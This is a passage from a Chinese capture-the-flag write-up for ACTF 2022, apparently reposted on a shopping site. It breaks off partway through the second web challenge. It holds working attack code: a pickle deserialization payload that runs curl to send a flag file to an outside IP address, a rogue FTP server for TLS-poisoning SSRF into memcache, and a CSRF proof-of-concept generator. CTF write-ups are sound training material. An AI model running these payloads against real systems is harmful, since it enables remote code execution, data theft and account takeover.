锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

【2022 ACTF-wp】

时间:2022-10-27 19:00:00 贴片二极管丝印f17

2022 ACTF-wp

  • Web
    • ToLeSion
    • beWhatYouWannaBe
    • gogogo
    • poorui
  • Misc
    • Signin
    • 麻将
    • safer-telegram-bot-1
  • Crypto
    • impossible RSA
    • RSA LEAK
  • Re
    • dropper
  • Pwn
    • 2048
    • Tree
  • Tip

Web

ToLeSion

分析源码可以发现只剩下了ftps和http协议又没有crlf 那就只能是ftps打ssrf了
首先要准备好搭建
https://github.com/ZeddYu/TLS-poison
按readme安装就行
需要注意的是,这个工具是通过取来的redis里名为payload键值对来传递payload的(需要改Main.rs的代码 把redis://redis本地的redis。
在这里插入图片描述
在环境准备之后,你需要证书创建转发器 将11211端口数据转发到2048端口。

target/debug/custom-tls -p 11211 --verbose --certs  /etc/nginx/ssl/ctf.edisec.net.pem --key  /etc/nginx/ssl/ctf.edisec.net.key forward 2048 

打开转发后,在2048端口开始evil ftp 起evilftp就可以把redis中的payload转发到任何端口。
这个问题的过程是
pycurl→ftps→tls→ftp→memcache
因为使用memcache存储session如果有反序列化,首先是整个反序列化poc。

import pickle import os import memcache mc = memcache.Client(["127.0.0.1:11202"],debug=True)  class A(object):     def __reduce__(self):         cmd = "curl -F a=$(/readflag) 36.255.221.156:9999"  #命令         return (os.system,(cmd,)) a = A() pickle_a = pickle.dumps(a)#序列化 print(pickle_a,len(pickle_a))  mc.set("actfSession:suanve",pickle_a) mc.set("actfSession:suanve",'') # pickle.loads(pickle_a) #反序列化触发代码执行 

我们把set actfSession:suanve 0 0 80 \r\n poc\r\n存到redis里 然后将数据转发到11200。

!/usr/in/env python3
import socketserver, threading,sys
import redis
r = redis.Redis(host='127.0.0.1', port=16379, db=0)
cmd =  b"\x80\x04\x95B\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c'curl -F a=$(/readflag) 36.255.221.156:9999\x94\x85\x94R\x94."
cmd =  b'\x80\x04\x95E\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c*curl -F a=$(/readflag) 36.255.221.156:9999\x94\x85\x94R\x94.'
print(len(cmd))
payload = b"\r\nset "+ b"actfSession:suanve1"+ b" 0 0 80 \r\n"+cmd+b'\r\n'
print('payload len: ', len(payload), file=sys.stderr)
#assert len(payload) <= 32
r.set('payload', payload)
class MyTCPHandler(socketserver.StreamRequestHandler):
    def handle(self):
        print('[+] connected', self.request, file=sys.stderr)
        self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr,flush=True)
        self.request.sendall(b'230 Login successful.\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 yolo\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 yolo\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'257 "/" is the current directory\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
        #self.request.sendall(b'227 Entering Passive Mode (120,26,59,137,43,194)\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        #self.request.sendall(b'227 Entering Passive Mode (120,26,59,137,43,194)\r\n')
        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 Switching to Binary mode.\r\n')
        self.request.sendall(b'213 7\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        # 226 Transfer complete.
        self.request.sendall(b'250 Requested file action okay, completed.')
        exit()
def ftp_worker():
    with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
        while True:
            server.handle_request()
threading.Thread(target=ftp_worker).start()


先打了本地nc(这里是少了一个\r\n的图

然后就是先请求11211端口触发ssrf

curl "[http://123.60.131.135:10023/?url=ftps://ctf.edisec.net:11211/1](http://123.60.131.135:10023/?url=ftps://ctf.edisec.net:11211/1)"

然后带cookie访问

curl --cookie "session=suanve1" "[http://123.60.131.135:10023/?url=1](http://123.60.131.135:10023/?url=1)"

触发反序列化

ACTF{GO0d_jo6_y0u_Ar3_G0od_At_Tl3_p0i30n}

beWhatYouWannaBe

root@10-7-100-194:/var/www/html# while true;do node 1.js;done
不停的把当前时间戳转成csrf的token写成html
root@10-7-100-194:/var/www/html# cat 1.js
const crypto = require('crypto')
const fs = require('fs')
var sha256 = crypto.createHash('sha256')
const content = sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex')
const s = `<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form id="a" action="http://localhost:8000/beAdmin" method="POST"> <input type="hidden" name="username" value="su" /> <input type="hidden" name="csrftoken" value="`+content+`" /> <input type="submit" value="Submit request" /> </form> </body> <script> a.submit(); </script> </html> `
fs.writeFile('4.html', s, err => { 
        
  if (err) { 
        
    console.error(err)
    return
  }
})

用burp不停的爆破

提升当前用户为管理员

可得到前一段flagACTF{3asy_csrf_a

剩下一层就是构造一个多层的关系

<iframe
  name="fff"
  srcdoc="